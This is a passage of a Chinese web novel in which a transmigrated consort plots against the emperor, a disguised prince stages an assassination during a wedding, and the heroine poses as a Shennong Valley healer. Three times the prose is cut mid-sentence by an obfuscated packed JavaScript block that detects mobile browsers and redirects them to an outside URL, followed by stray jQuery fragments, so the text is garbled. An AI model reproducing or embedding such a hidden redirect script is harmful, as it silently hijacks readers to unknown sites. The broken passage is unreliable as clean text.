而就在他解蛊之后不久,娘亲就病重去世了。 那时他才知道,娘亲其实早就病入沉疴了,只是一直在为他忍耐着,坚持着。 姜念虞:“那琼林宴那次你蛊毒发作,又是怎么回事呢?” 李玄璋:“为了快速增强实力,我炼制了一枚可以掠夺别人内力的蛊,经由它掠夺来的内力,我可以吸收化为己用。 “但成也它败也它,这枚蛊变得越来越难以控制,我每个月都会遭到反噬,反噬时全身如被冰封,手脚动弹不得,内力也无法施展,如同一个废人。” 姜念虞:“原来如此。” 小说里大反派自创了一招“万法归宗”,每次对敌人施展时,就能将敌人的内力吸过来。 想来他这个招数,是从蛊身上学来的。 又或者是他彻底收服了那只蛊后,自然而然就会了这一招? 目前的他明显还在被那只蛊困扰着,没有开发出“万法归宗”来。 * “公主出降,闲人退避!” 在喧天的锣鼓声中,蓁蓁公主出降的队伍在御街上缓缓行进着。 御街两侧设置了移动的帐幕,帐幕色彩鲜艳,犹如铺排开来的彩云。 帐幕随着公主的轿子不断往前,遮蔽了路人的视线,然而百姓还是争先恐后地往前挤,试图从缝隙里一窥公主出嫁的阵仗。 “这天家嫁女儿就是不一般,你们看前面,扫街的那些人手里拿的是金扫帚,提着的是银桶,那桶里撒出来的水,不会也掺着金子吧?” “我滴个娘勒,那轿子里抬着的都是公主的嫁妆?这得有几十抬了吧?” “公主的花轿真气派,有足足八个人抬呢,上一次看到八抬大轿还是十几年前……” “少主,没想到我们刚一进京就碰上公主出嫁,咱们去前面吧,我想看看公主长啥样。” 人群中,一个青衣少年拉着一个红衣少年往前面挤,青衣少年长了一张娃娃脸,眼睛亮晶晶的,像个凑热闹的孩子。 红衣少年正是他口中的“少主”,他生了一双墨玉般漂亮的眼睛,澄净清澈,唇色却泛着白,似乎有不足之症。 这大夏天的,别人都穿着轻薄的单衣,他却穿着春秋时节的袍子,额头也并不见出汗。 被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445662|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们挤过的路人原本还有些不满,然而一回头,看到如此精致俊美的少年郎,那股子不满顿时就消散了,甚至还不由自主地给他俩让位置。 等两人好不容易挤到前面去时,公主出降的仪仗队已经过去了,青衣少年不免遗憾地叹了口气。 红衣少年:“叹什么气,咱们既然来到了京城,以后迟早有机会再见到这位公主。” 青衣少年一想也是,又高兴起来。 仪仗队伍饶了大半个京城,最后来到了崔府门前。 新郎官崔适下了马,喜气洋洋地来到轿子前,扣了扣轿门,恭请公主下轿。 戴着大红色盖头的蓁蓁公主将手递给了他,在他的搀扶下走下了轿子,而后两人各自握着喜绸的一端,并排走进大门。 喜堂内,李淳赫然坐在上首的位置,美名其曰亲自来为蓁蓁公主主婚。 姜念虞也被他带出了宫,这会儿正站在他身后,看着一身大红嫁衣头顶盖头的李玄璋和探花郎牵着红绸进来,她莫名觉得他很陌生。 难道是因为第一次看他这么打扮?又或者是他盖着盖头的缘故? “一拜天地!” “二拜高堂!” 坐在主位上的李淳看着李玄璋朝自己躬身行礼,脸上露出了愉悦的笑容。 这场婚礼他本不必来,但他还是来了,就为了眼下这一幕。 李玄璋,和一个男人成亲的滋味儿如何?不得不向我弯腰行礼的感觉好受吗?屈辱吗? 屈辱就对了! 这才只是开始,往后你屈辱的时候还多着呢! “夫妻对拜!送入洞房——” 看到了想看的,李淳便没有再继续待下去,起身离开。 崔大人(崔适之父)和崔适将皇帝一行恭送出府。 出去的路上,姜念虞看见婢女端着托盘给客人上菜,托盘上的菜色看起来色香味俱全,勾得她口水直流。 好不容易来参加一次婚宴,就不能等吃完了席再走吗? 她盯着李淳的背影,心下颇为怨念。 一行人来到大门口,李淳朝崔家父子摆了摆手,“崔大人,不必再送了,快回去入席吧,新郎官再不回去,客人该要催了。” 转身准备上马车。 就在这时,一群黑衣刺客来袭,直奔李淳而来。 墨春大喊:“有刺客!护驾!” 其余人都往前冲,想护驾,姜念虞却是火速往后退,躲到了大门后面,免得自己被波及。 又探出一只眼睛来观望外头的情形。 那些黑衣刺客个个都是好手,武功明显高出侍卫一大截,三两下就切瓜砍菜一般将那些冲来护驾的侍卫给解决了。 尤其是打头的那个刺客,不是一般的厉害,一剑挥出去,竟能打出剑气来,直接就扫灭了一大片。 姜念虞在心里喊:6啊大哥!加把劲,争取把李淳给干掉! 似乎听到了她的呼喊,刺客大哥一路火花带闪电地冲到了李淳面前,眼见着就要行刺成功了,李淳大喝一声:“林鹤!” 林鹤提剑,上前迎敌。 50. 第50章 姜念虞一拍脑门,她怎么把林鹤给忘了,这一次李淳出宫,点名让林鹤跟着。 林鹤可是小说里数一数二的高手,刺客大哥这下危险了。 虽然林鹤是她的人,但是此刻,她却不希望林鹤赢,因为她更想让李淳死。 令她意外的是,林鹤竟真的不敌刺客大哥,没几下就被刺客大哥一掌拍飞了,重重落到地上,吐出一大口血来,丧失了战斗力。 姜念虞:好强! 这人是谁?竟能这么快就重伤林鹤? “快,关上大门!”崔家父子护着李淳躲进门内,急声吩咐小厮。 而外面,大批禁卫军已经赶到,还有弓箭手,他们迅速搭弓上箭,箭矢如雨般朝那些黑衣蒙面刺客激射而去。 姜念虞捶足顿胸,要是没有林鹤争取到的那一点时间,李淳这会儿已经死在了刺客大哥的剑下! 这会儿禁卫军和弓箭手都赶来了,刺杀难度陡然提升了数倍,再想杀死李淳就难了。 然而就在大门即将合上的那一刹那,刺客大哥以迅雷不及掩耳之势,掷出了手中的剑。 长剑如光,瞬间穿过了大门之间的缝隙,朝着李淳的后心射去。 姜念虞:Yes!刺客大哥你是我的神! 这下李淳还不……嗯? 这样都能不死?! 千钧一发之际,墨春竟然扑到了李淳背上,替他挡下了这雷霆一击! “春儿!”李淳情急之下脱口而出。 姜念虞拳头紧握,就差那么一点了! 李淳怎么就死不了呢? 难道小说主角果真像传说中的那样,是打不死的小强? 以后她不叫李淳狗东西了,应该叫他蟑螂君! 她凑近大门缝隙朝外看去,在那波箭雨下,刺客死伤大半,刺客大哥倒是还完好无损。 也不知道在没有武器的情况下,他是怎么做到的。 “撤。”他吐出一个字,临走前朝门内看了一眼。 正在朝外窥探的姜念虞一不小心对上了他的眼神,不禁一个激灵。 他好像朝她笑了一下? 刺杀失败,他怎么还笑得出来? 他那个含着笑意的眼神,她越想越觉得熟悉。 蓦地,一道闪电劈过脑海,她想到了! 李玄璋! 那个眼神,分明就是李玄璋! 可他不是应该穿着嫁衣坐在洞房里吗?怎么可能在担任新娘子的同时又来刺杀李淳? 他又没有分身术。 等等,有没有可能,坐在洞房里的那个,根本就不是李玄璋? 今天是蓁蓁公主出嫁的日子,所有人都下意识以为穿着嫁衣戴着盖头的人是蓁蓁公主,但如果盖头下的人,不是李玄璋呢? 难怪她先前看着新娘子,觉得有些陌生,感情那根本就不是李玄璋! 他一开始就没想过真的跟崔适拜堂成亲! 而是要借着出嫁的机会,刺杀李淳! 但是他怎么没提前跟她通个气呢? 她们还是不是盟友了? 回头她得问问他。 回宫后,李淳带着挨了一剑满身是血的墨春回了保和殿,将珍藏的一颗定心丸给他喂了下去。 只要不是当场死亡,定心丸就能保下人一命。 紧接着又将太医院的太医都召了来,让他们定要救活墨春。 姜念虞不好表现得太漠不关心,就跟着一块儿过来了,默默缩在角落里,看着一群太医在李淳的诛九族威胁下,艰难地救治墨春。 后来见李淳压根儿顾不上自己,就悄悄溜了,回了自己的未央宫。 第一时间就去了林鹤那儿。 先前他被刺客大哥给一掌拍飞了,还吐了血,肯定伤得很重。 而宫里的太医都被叫去了保和殿给墨春治疗,林鹤无人治疗,她要是不管,他就只能等死了。 “娘娘……”昏沉间,林鹤察觉有一只熟悉的手落在胸口处,旋即一股蕴含着无尽生机的清凉气息浸入了体内。 随着那股气息在体内游走,他原本遭受重创的脏腑竟快速愈合了。 虽已不是第一次体验到这般神异的治疗手段,但他还是为之震惊,感动,喜悦。 当即就要起身,叩谢娘娘。 姜念虞按住他,“你伤得这么重,起来做什么?接下来这段时日,你就在屋子里躺着,好好养伤吧。” 林鹤一怔,他的伤不是已经被她给治好了吗? 旋即反应过来,忙低头应是,“卑职明白。” 姜念虞起身离开。 林鹤忽然叫住了她:“娘娘——” 姜念虞:“怎么了?” 林鹤从枕头下拿出一本手抄书来,书的蓝色封面上,写着《行云诀》三个字。 “先前娘娘说想跟卑职学轻功,卑职回来后,便将这本轻功功法默写了出来,还在旁边做了些批注,娘娘若是有哪里不清楚的,尽管来问卑职。” 他难得说这么一长串话,耳朵又难为情地红了。 姜念虞心头一喜,将功法接过来翻了翻,“谢啦。” 林鹤做的批注很详细,几乎将功法翻译成了大白话,她很容易就能上手。 虽说随着异能等级的提升,她的实力也会跟着增强,但异能轻易不能在外人面前展示,所以掌握一门技能还是很有必要的。 尤其是轻功这种逃生技能。 姜念虞拿着书美滋滋地离开。 出来时差点和急匆匆赶来的丽嫔撞上。 “岁岁,我听说我哥在宫外受了重伤,他现在怎么样了?” 姜念虞:“没有性命之忧。” 丽嫔松了口气,也顾不上跟她说话,提着裙子进屋了。 回了寝殿,姜念虞没有第一时间翻开那本《行云诀》,而是先洗了个澡,穿上一身轻便且清凉的家常衣裳。 里头是一件丝绸吊带,外头套一件没有袖子一通到底的对襟褂子,两条嫩生生的胳膊露在外面。 也是穿进了古代她才知道,古人并没有她想的那么封建,到了夏天,也会穿得很清凉,露胳膊露腿是很寻常的。 不过仅限于室内,到了外面还是会穿得比较严实。 “春樱,我想吃酥山,多加干果碎和红豆,还要有葡萄干和蜜饯。” 酥山就是古代的冰激凌,用碗盛着,上面撒上各种小料,吃起来冰凉丝滑,奶香味十足,和这炎热的夏天简直是绝配。 姜念虞恨不得一天到晚都抱着酥山吃。 但是夏桃不许她多吃,怕她又吃坏了肚子。 酥山来了,姜念虞才舀了一勺,还没送进嘴里,趴在花盆里睡觉的玄猫就“登”一下跑过来,也想吃。 李玄璋“出嫁”,本想将玄猫带走,奈何玄猫更喜欢她,赖在她这里不走了,他只好将玄猫留在了她这里,拜托她好生照看。 姜念虞当然会好生照看玄猫了,这会儿见它凑过来,她便忍住了想吃的欲望,先喂给它吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462960|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等玄猫吃够了,她才重新换了个勺子吃起来。 吃完她写了封信,在信里问李玄璋,今天带着一群黑衣刺客来刺杀李淳的人是不是他,如果是的话他又为何没告诉她。 完了将信纸团成一团,塞进了玄猫脖子上的空心铃铛里。 这颗铃铛并不是装饰品,而是信匣,而玄猫就是她们的信使。 “咪咪,去吧,把信送去给蓁蓁。”她摸了摸玄猫的脑袋。 玄猫在她手上蹭了蹭,转身轻盈地跑走了。 在她时不时的异能投喂下,玄猫的毛已经彻底长出来了,比原先更浓密顺滑,阳光一照,就呈现出一种“五彩斑斓的黑”的效果,美得如同一匹缎子。 它的身形也变得更加修长优美,像一匹黑色的小豹子,速度、耐力、攻击力等各方面也都有了极大的提升,俨然成了一只异兽。 已然和别的猫迥然不同了。 此外,玄猫的智商也变高了,比从前更有灵性,更能听得懂人话,她基本能和它无障碍交流。 用异能投喂普通动物,能将普通动物变成异兽,这是她来到这个世界才发现的异能的一个新功能。 ——前世她忙着杀丧尸杀变异兽找食物找水源求生存……哪有心思和一只动物建立起长期而稳定的关系? 见到一只普通的没有变异的动物,她第一反应就是把它杀了吃了,怎么可能还把它养起来,在它身上浪费异能? 如果早知道的话,她或许能够组建出一支异兽军团来,率领它们和自己一块儿作战,在末世大杀四方。 不过也亏得之前没发现,不然她就不会死在丧尸手里,从而穿进书里来了,也就过不上现在这般锦衣玉食、高床软枕的好日子。 所以现在发现也不迟。 或许,她可以考虑在这个世界,用异能养出更多异兽来,比如变异老鹰,变异老虎……到时候坐在变异老鹰背上翱翔于天空,骑在变异老虎背上驰骋于山林,想想就爽。 吃完酥山,姜念虞靠在炕上,剥起了莲子吃,莲子又甜又嫩,好吃极了。 边上搁着一座青铜冰鉴(古代版冰箱),孔洞里源源不断地冒出凉气来。 冰鉴里还冰着葡萄、甜瓜、桃子等水果,随时都能吃到。 这样一想,她对于没能吃上席的怨念也就消散了。 一碗莲子吃完,玄猫回来了,带回来了李玄璋的回信。 姜念虞展开纸团一看,李玄璋在信里承认了,白天的那个刺客大哥竟真的是他! 而他之所以没事先告诉她,是怕她藏不住事儿,会露馅。 姜念虞有些不满地哼了声,“我是那么不靠谱的人吗?对我这么不信任,我要跟你绝交三天。” 说三天就三天,这三天她没跟李玄璋写过只言片语,更没私下跟他见面。 不过对于他送来的各种宫外美食,她倒是来者不拒。 毕竟美食是无辜的,不吃白不吃。 而除了吃之外,她也不是一点事也没干。 她给自己安排了两门课程——跟林鹤学轻功,跟丽嫔学习制作□□。 石永竹将小猪仔弄来了,一共有三头,两母一公,她亲自带人给它们整出了猪圈,安放了食盆和水槽。 “好了,以后你们就在这里安家了,要好好吃饭努力长高长壮哦。” 说完就给它们投喂了一堆切成块的蔬菜瓜果。 看着它们哼哼唧唧地抢食,姜念虞已经能想象出它们长成大肥猪的样子了。 51. 第51章 “德妃娘娘,象州进献来了一篓子荔枝,太后娘娘得了一盏,让奴婢来请您过去一块儿品尝呢。”黄鹂来了未央宫,对姜念虞道。 一听到有好吃的,姜念虞心情就雀跃了,跟着黄鹂去了慈宁宫。 “来,虞丫头,尝尝象州送来的荔枝。”太后亲自剥了一颗荔枝,用象牙签子叉着递给她。 荔枝水润晶莹,光是看着就叫人口齿生津,姜念虞也不客气,接过来就吃了。 荔枝显然用冰镇过,果肉冰凉清甜,吃起来那叫一个爽。 末了姜念虞连荔枝核都嗦了嗦,吐出来后也没扔,用帕子包着。 一连吃了好几颗荔枝,她注意到太后都没动,不由有些不好意思:“太后娘娘,您也吃呀。” 太后笑眯眯道:“人老了,牙齿就变得脆弱了,吃点凉的就受不住,你吃吧,我就爱看你吃东西。” 黄鹂在一旁道:“德妃娘娘,这荔枝是稀罕物,太后娘娘舍不得吃,想都留给您呢,连昌哥儿都没能分到几颗。” 太后嗔怪道:“多嘴,说这些做什么,虞丫头喜欢吃,就让她吃嘛。” 姜念虞感动道:“太后娘娘,您对我真好,比我娘也差不多了多少了,最近您的头疾可还犯过?晚上睡得可安稳?我再给您按按吧。” 太后等的就是她这句话呢,自从被德妃按摩过一次后,她的头疾就大为缓解了,感受到了一种前所未有的轻松。 那天晚上难得睡了一个好觉,一觉到天亮,竟是连梦都没做一个,也没起夜。 自从上了年纪后,她就睡不安稳了,每晚总要起来两三次。 那一次的安眠,让她久违地感受到了睡饱后的神清气爽。 “那就有劳你了。”太后在软塌上躺了下来。 姜念虞:“您这是说的哪里话,能为您按摩,是嫔妾的福气。” 太后:“德妃啊,那天你给我按摩完,走的时候说我殿里点的香闻起来不对劲,我便叫黄鹂将没点完的香拿到宫外,找大夫看了一番,你猜大夫说什么?” 姜念虞装傻:“这我哪里猜得着呀?太后您就别卖关子啦,直接告诉我吧。” 太后:“那香里,掺了毒药!” 姜念虞:“啊?不会吧?” 太后:“那毒药混在香料里,点香时,毒性和香气会一同散发出来,长时间嗅闻,便会不知不觉中毒,我时不时头疼,并非是患了头疾,而是中了毒。” 姜念虞惊讶地停了下来,“这,谁这么大胆,竟然会对您下毒?” 太后:“别停下来,继续按。” 姜念虞:“哦好。” 太后感激道:“德妃,多亏了你的提醒呀,不然我就会不明不白丢了命。” 姜念虞不好意思道:“嫔妾可不敢居功,您不怪嫔妾多嘴就好。” 太后:“我怎么会怪你?我感激你还来不及呢。” 姜念虞:“太后娘娘,下毒之人您可查出来了?” 太后:“查出来了,是内务府制香司的一个宦官。他妹妹曾在我的宫里当差,犯了错被处置了,他便恨上了我,要杀了我为他妹妹报仇。” 姜念虞斟酌着道:“嫔妾觉得,这宦官可能只是个幌子,真正下毒的另有其人。” 太后:“哦?怎么说?” 姜念虞不信作为上一届宫斗嬴家的太后想不到这些,她故意表现出疑问来,是想试探自己吧? 姜念虞:“您想啊,太医院的太医每个月都要来为您请平安脉,但他们却都没有诊断出您中了毒,要么那毒极其罕见,连太医们也诊断不出来,制香司的一个太监,是怎么拿到这种奇毒的呢?再要么——” 太后:“太医都被收买了,所以对我中毒一事隐而不报。” 气氛一时变得沉默。 过了会儿,太后道:“不说这些了,免得吓到你了。” 转而闲聊般提起:“听说皇帝最近为了个宦官大动干戈,将太医院的太医都叫了去,给那宦官治伤,连往常来给我请平安脉的太医都被拘在了那里,没能来给我请脉。” 姜念虞:“那个宦官叫墨春,那天皇上差点被刺客一剑刺中,是墨春替皇上挡了一剑,救了皇上,皇上大概是感念他的忠心,想救活他。” 太后:“奴才护主,本就是分内之事,皇帝这样做,有些失了体统了。” 姜念虞也不跟太后争论这个,“您说的是,再怎么样,皇上也不该为了一个奴才而忽视了太后娘娘您。” 从慈宁宫离开的时候,姜念虞不仅装了一肚子的荔枝,还带走了一堆太后赏赐的吃食,不过她最大的收获还是吃荔枝时收集起来的荔枝核。 一回到宫里,她就将荔枝核种下了,又给每一颗种子都灌输了一点异能。 在异能的催生下,它们很快就会茁壮成长,长成一棵棵大树,等到来年,她就可以实现荔枝自由咯! 其实今年就可以,但那样就太吓人了,这会儿她又不是在表演幻术,不好让荔枝核一下子就长成大树,还是慢慢来吧。 在姜念虞忙着养小孩(晟儿)、养猪、喂猫、种菜、学习新技能、吃美食……将自己的日子过得有声有色时,保和殿那边,李淳却过得是水深火热、愁云惨雾。 三天了,在定心丸的效果下,墨春没有死掉,但也没能脱离生命危险,甚至他身上的那把剑,太医们都没能取下来。 因为那把剑虽然贯穿了墨春的身体,给他造成了巨大的伤害,但也堵住了他的伤口。 若是冒然将剑取下来,稍有不慎,他就会失血过多,当场死亡。 顶着诛九族的风险,太医们哪儿敢轻易上手啊? 他们凑在一起,商量了好几个方案,却都没有绝对的把握。 李淳已经发了好几次火,保和殿的瓷器遭殃了好几次,换了一拨又一拨。 看着墨春脸色惨白、神情痛苦的样子,他的心也跟着刀刮似的疼。 “一群废物!朕再给你们两天时间,若是两天之后还不能取下这把该死的剑,朕就把你们统统砍了!” 两天时间一晃而过,太医们都以为要大难临头了,想着伸头是一刀,缩头也是一刀,不如索性就上吧! 这时,阴沉暴躁了好几天的帝王,却奇异地展露出了笑容,“哈哈,朕的春儿有救了!” 太医们面面相觑,都以为皇帝失心疯了。 但很快他们就知道,皇帝没疯,他说的是真的。 事情是这样的,两天前,李淳对太医们放完狠话后,就不得不去处理政务了。 虽说墨春对他很重要,但在他心里,终究还是权力占据第一位。 而权力不是说他坐在皇帝这个位置上就能有的,得通过实实在在的勤政,来掌控朝臣,掌控百姓,才能实现权力的集中。 当然,在勤政之外,他还得施展一点别的手段。 比如,通过韩观——李玄璋上辈子的钱袋子,来开办一座名副其实的销金窟,为他大肆敛财。 有了钱,很多事情才好办。 批奏折之余,他想起将事情交代给韩观也有一阵子了,便将他召来,询问任务进度。 这不召见不知道,一召见他吓了一跳,韩观的聋哑之症,居然治好了! 他已经成了一个正常人,可以听可以说了! 李淳一问,才知道治好他的是来自神农谷的一位弟子,叫余岁,是一个年纪轻轻的姑娘。 不过是出手了一次,就能治好韩观自娘胎里带出来的残疾,这简直就是神医啊! 李淳立刻就向韩观打听那位余岁姑娘在何处,却得知她治好他的病后就离开了,真正的来无影去无踪。 想了想,李淳让他将余岁的形貌特征说出来,让宫廷画师根据他的描述画出了一张画像。 而后下令,满天下张贴寻人启事,寻找来自神农谷的神医余岁。 得知这个消息的姜念虞:“……” “怎么办,神农谷的人一看见这个告示,就会知道我是个冒牌货,她们会不会全天下通缉我啊?” 小说里神农谷可是个神秘又强大的组织,据说神农谷谷主从前朝一直活到现在,年龄至少已经有三百岁! 谷中弟子单拎一个出来,放到外面都是一方大佬。 这样一个地方,能允许别人借用她们的名头,冒充她们的弟子吗? 李玄璋:“姐姐,谁说你是冒充的?你有谷中弟子的令牌,有剑令,怎么会是冒充的?” 姜念虞:“……你什么意思?难道那弟子令牌和剑令都是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478375|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 李玄璋:“自然是真的,我不会拿假货来糊弄姐姐,更不会让你因此而遭受风险。” 姜念虞感动不已,将自己没舍得吃的一块莲子蜜豆糕拿出来,“这个特别好吃,你尝尝。” 李玄璋失笑,接过来,将糕点一分为二,又给了她一半。 姜念虞一点也不推辞,接过来就吃了。 “那你的令牌和剑令是从哪儿搞来的?” 李玄璋:“姐姐可知我有一个师父?” 姜念虞:“我知道啊。” 李玄璋没了娘后,小小一个人在冷宫里艰难地活着,常常连饭都吃不饱。 某一天晚上,有一个人掉在了冷宫,那人是进宫来偷东西的,好像是偷一株珍贵的药材,但是被大内侍卫发现了,遭到追杀,身上中了一箭。 逃命时从冷宫的破屋顶上掉了下去,一头砸在了李玄璋面前。 李玄璋将他藏了起来,没让侍卫搜到他。 后来这人就留在冷宫里养伤,一边筹划着重新偷盗那株药材。 养伤的过程中,这人发现李玄璋十分聪明,有着过目不忘的记忆力,而且是个练武的好苗子,于是问李玄璋愿不愿意拜他为师。 李玄璋纳头就拜。 从天而降的师父,哪里有不拜的道理? 这估计是身处冷宫中的他,唯一能抓住的改变命运的机会了。 关于李玄璋拜师的背景大致就是这样。 至于他师父的名字,来历这些细节,小说里都没交代——估计是作者偷懒,觉得用不上,就没写。 所以姜念虞也不知道。 联系到李玄璋拿出来的神农谷弟子令牌以及剑令,她顿时有了个猜测:“你师父该不会就是神农谷的弟子吧?” 李玄璋点了点头:“我师父名凤衔月,是神农谷谷主的亲传弟子之一,不过他秉性潇洒不羁,不喜被拘在一处,所以常年在谷外漂泊游历。 “他收我为徒时,身上没有别的东西,就将自己的弟子令牌和剑令给了我,说以后我要是有事,估计一时找不到他,可以拿着这两样东西找神农谷求助。 “若姐姐不介意,我可以代师收徒,如此一来,姐姐也就名正言顺了,若是真的碰上了神农谷弟子,也不惧对质。” 姜念虞哪里会介意?她巴不得能抱上神农谷这根粗大腿呢。 “好啊,那以后我们就是同门了,你比我先进门,我是不是得喊你师兄啊?但是我比你大哎……” 李玄璋:“称呼不过是小节,姐姐喜欢怎么喊就怎么喊。” 姜念虞对他这个态度很满意,“那我以后还是喊你蓁蓁吧,亲切。对了蓁蓁,你说我要不要应召进宫呢?” 李玄璋没有直接回答她的问题,而是道:“先帝在世时,有一西域小国来大齐朝贺,进贡了三样奇珍异果的种子,一名西瓜——” 姜念虞听到这里就兴奋了,忍不住道:“西瓜?真的吗?夏天我最喜欢吃西瓜了,特别是冰镇西瓜,用勺子挖一大口送进嘴里,不要太满足!” 李玄璋:“看来姐姐吃过西瓜?可是大齐境内并无西瓜,姐姐是在何处吃到的?” 姜念虞睁着眼睛说瞎话:“谁说大齐没有西瓜了?小时候我明明吃过,可惜自那之后我就再也没尝过了。” 反正这种事李玄璋又没法证实,还不是她说什么就是什么。 李玄璋果然不再追究,继续道:“……一名凤枣,一名珍珠豆,三样种子贮存在龙骨盒中,可不腐不烂不死,先帝大为称奇,命人取出几粒种子来种下。 “可惜这几样种子大概是水土不服,都没有长成结果,剩下的种子先帝便收进大内宝库中了。 “姐姐似乎很喜欢收集种子,若是对这三样种子感兴趣的话,不妨用余岁的身份应召进宫,为墨春治疗。以姐姐的医术,应当不难救活他,到时便可向李淳将这几样种子讨了来。” 姜念虞:“我感兴趣,特别感兴趣,但是如果我将墨春救活的话,你会不高兴吧?” 李玄璋轻笑一声:“墨春的死活,于我而言无关紧要,姐姐救活了他,我不会高兴,也不会不高兴。” 姜念虞:“那就好,那我就用余岁的名义进宫一趟,把那三样种子拿到手。” 52. 第52章 宫外。 当天子亲自发布的寻人启事张贴出来时,一群百姓围了过来。 人群中,青衣少年对红衣少年道:“少主,咱们谷里没有一个叫余岁的弟子啊,她是哪里冒出来的?该不会是冒充的吧? “好啊,顶着我们神农谷的名头,居然都骗到皇帝面前去了,她要是犯了什么罪,岂不是还要牵连我们神农谷?少主,咱们得把她揪出来,不能让她顶着神农谷的名头在外头招摇撞骗!” 红衣少年:“青翼,不可妄下定论,或许,她是哪位师叔新收的弟子也不一定。” 青衣少年:“那总得见了面才知道吧?可是连皇帝都找不到她的人,咱们到哪儿去找她呢?” 红衣少年:“皇帝命人广贴告示寻找余岁,很可能是宫中有人生病或者受伤了,连太医都束手无策,需要余岁这位神医出手。 “咱们不妨揭下告示进宫一趟,若是皇帝找到了余岁,咱们也能见到她,若是皇帝没能找到余岁,我也可出手为那位病患诊治一番。” 青衣少年:“还是少主聪明。” 当即上前揭下了寻人告示。 保和殿中,被灵药吊了三天的墨春,终究还是坚持不住了,气息越来越微弱。 临死之前,在回光返照的作用下,他恢复了一点精气神,握着皇帝的手道:“皇上,我走……之后,您,您要好好的……” 李淳:“不许!朕不许你走!朕一定会让人救活你的,春儿不要离开朕……” 旁边跪了一地的太医:“……” 他们觉得自己不应该趴在地上,而应该趴在床底下。 就在李淳和墨春生离死别之际,大总管戴秉承脚步匆匆进来禀报道:“皇上,神农谷弟子余岁找到了!” 李淳神情一振:“快,把人带来!” 又转头笑着对墨春道:“春儿,你有救了……” 姜念虞跟着戴秉承踏进保和殿,走进寝殿,“神农谷弟子余岁,参见皇上。” 李淳:“韩观的聋哑之症,就是你治好的?” 姜念虞:“正是。” 李淳:“那朕就将春儿交给你了,若你能治好他,任何事朕都能答应你。” 姜念虞心下腹诽,任何事都能答应?我让你去死你去不去?我让你立晟儿为太子,你愿不愿意? 所谓的“任何事”,不过是一定范围内的任何事罢了。 “民女定当竭尽全力。” 她来到床边,装模作样地查看了下墨春的伤势。 也是造孽,墨春被一剑穿胸而过,那把剑现在还明晃晃地插在他胸口上,让他卧不得,趴不得,太医只能用一个形似圈椅的架子将他的身体支撑着。 不过几天功夫,他就变得形销骨立了,脸色白得跟纸人似的。 为防没等她治疗,墨春就挂了,她给他摸脉时往他体内注入了一点异能,让他好歹能撑下去。 而后道:“我治疗时不喜有旁人在侧,还请皇上和诸位退出去。” 李淳皱眉,待要开口,戴秉承又进来禀报道:“皇上,又有神农谷的弟子来了。” 李淳:“这倒是奇了,平时一个神农谷的弟子都难得见到,今日倒是一下子来了两个,将人带来。” 红衣少年和青衣少年跟着戴秉承走了进来。 看见红衣少年的面容时,姜念虞心跳加速了。 又一个绝世美少年! 可惜看起来不太健康的样子。 他极有可能也是她的异能血包。 当姜念虞看着红衣少年时,红衣少年第一时间也注意到了她,准确来说,是注意到了她腰间挂着的神农谷弟子令牌以及剑令。 那枚弟子令牌,赫然是五师叔的,五师叔已经多年没有回谷了,他的令牌怎会在这位余岁姑娘身上? 难道说五师叔出了意外,弟子令牌被这位余岁姑娘捡到了? 还是说,五师叔自己主动将令牌给了她? 在什么情况下,五师叔会将自己的弟子令牌给一位年轻的姑娘呢? 难不成,余岁是五师叔的女儿?! 红衣少年一不小心就脑补过度了,不过这丝毫没耽误他向皇帝见礼:“神农谷弟子赤心,参见皇上。” 紧接着又向姜念虞行礼:“赤心见过师姐。” 姜念虞还怕他当众嚷出来说自己是个冒牌货呢,没想到他竟然直接就喊她师姐了,难道这人是李玄璋安排的?来坐实她的身份? 姜念虞点了点头,一派熟稔道:“你怎么也来了?” 李淳打断两人的对话,“好了,二位若是要叙旧,以后有的是时间,眼下还是治病救人要紧。你二人打算如何施救?” 姜念虞简单吐出几个字:“喂药,拔剑,止血。” 一位老太医制止道:“断然不可!这剑一拔,病人定会失血过多,到时候……” 李淳:“闭嘴!” 这种话他这几天已经听得够多的了,不想再听太医说一遍,浪费救治的时间,他的春儿,时间已经不多了。 “你呢?”他目光颇具压迫感地落在赤心身上。 赤心:“先施以九转金针术,封住病人各处的要紧穴道,再辅以药物使病人进入假死状态,将剑拔出后,灌药让病人活过来。” 这个方案听起来就靠谱多了,李淳不由得点了点头,又问:“你有几成把握?” 赤心:“至多四成。” 李淳眸子一沉,“才四成?那你呢?” 他目光又转向了姜念虞。 姜念虞面不改色地夸下海口:“十成。” 这话一出,现场响起了不少倒吸冷气的声音,不是惊讶于她的医术之高超,而是震惊于,她竟然敢在皇帝面前如此大言不惭,将话说得如此之满。 这世间有哪个大夫,敢说自己有十成的把握能救回一个濒死的病人? 怕是连神农谷谷主都不敢放出这样的话。 